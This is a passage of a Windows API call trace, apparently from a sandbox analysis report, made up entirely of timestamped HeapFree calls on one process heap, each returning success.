	[0189.085] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.085] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.085] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0189.088] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.090] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.090] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.090] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.090] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.091] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.091] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.091] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.091] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.091] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.092] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.092] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.092] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.092] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.092] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.093] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.093] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.093] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.093] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.093] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.094] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.094] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.094] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.094] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.095] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.095] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.095] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.095] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.095] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.096] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.096] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.096] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.096] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.096] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.097] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.097] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.097] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.097] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0189.100] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.100] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.100] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.101] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.101] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0189.101] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45d6cd0 | out: hHeap=0x610000) returned 1
	[0189.101] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.104] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.105] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.105] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.105] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.105] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.106] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.106] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.106] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.106] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.107] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.107] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.107] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.107] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.108] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.108] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.108] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.108] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.109] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.109] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.109] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.109] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.110] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.110] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.418] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.423] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52f2060 | out: hHeap=0x610000) returned 1
	[0189.444] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.445] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.445] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.445] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.445] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.445] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.446] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.446] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.446] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.446] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.446] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.446] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.447] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.447] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.451] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.452] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.452] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.452] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.455] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.455] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.455] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.457] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.457] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.457] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.457] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.457] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.458] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.458] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.458] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.458] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.460] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.460] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.461] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.461] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.461] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.461] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.461] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.464] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.467] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.467] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.467] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.491] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.491] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.491] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.491] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.492] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.492] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.492] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.492] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.492] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.493] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.493] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.493] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.493] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.493] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.494] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.494] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.494] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.494] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.495] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.495] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.495] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.495] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.496] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.498] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.499] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.606] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.614] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.614] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.615] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.615] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.615] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.615] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.615] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.616] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.616] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.616] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.616] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.619] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.622] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.622] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.622] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.622] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.622] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.622] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.623] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.623] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.623] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.623] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.623] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.624] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.624] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.624] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.624] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.624] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.625] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.625] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.625] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.625] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.625] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.626] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.626] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.626] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.626] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.626] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.627] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.627] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.627] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.627] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.628] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.628] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.628] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.628] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.629] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.629] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.629] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.630] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.631] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.631] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.631] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.631] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.636] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.636] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.636] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.639] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.643] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.644] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.645] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.646] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.647] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.648] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.649] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.650] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.651] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44bafb8 | out: hHeap=0x610000) returned 1
	[0189.796] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.824] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.829] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.829] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.829] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.830] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.830] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.830] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.830] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.831] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.831] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.831] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.831] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
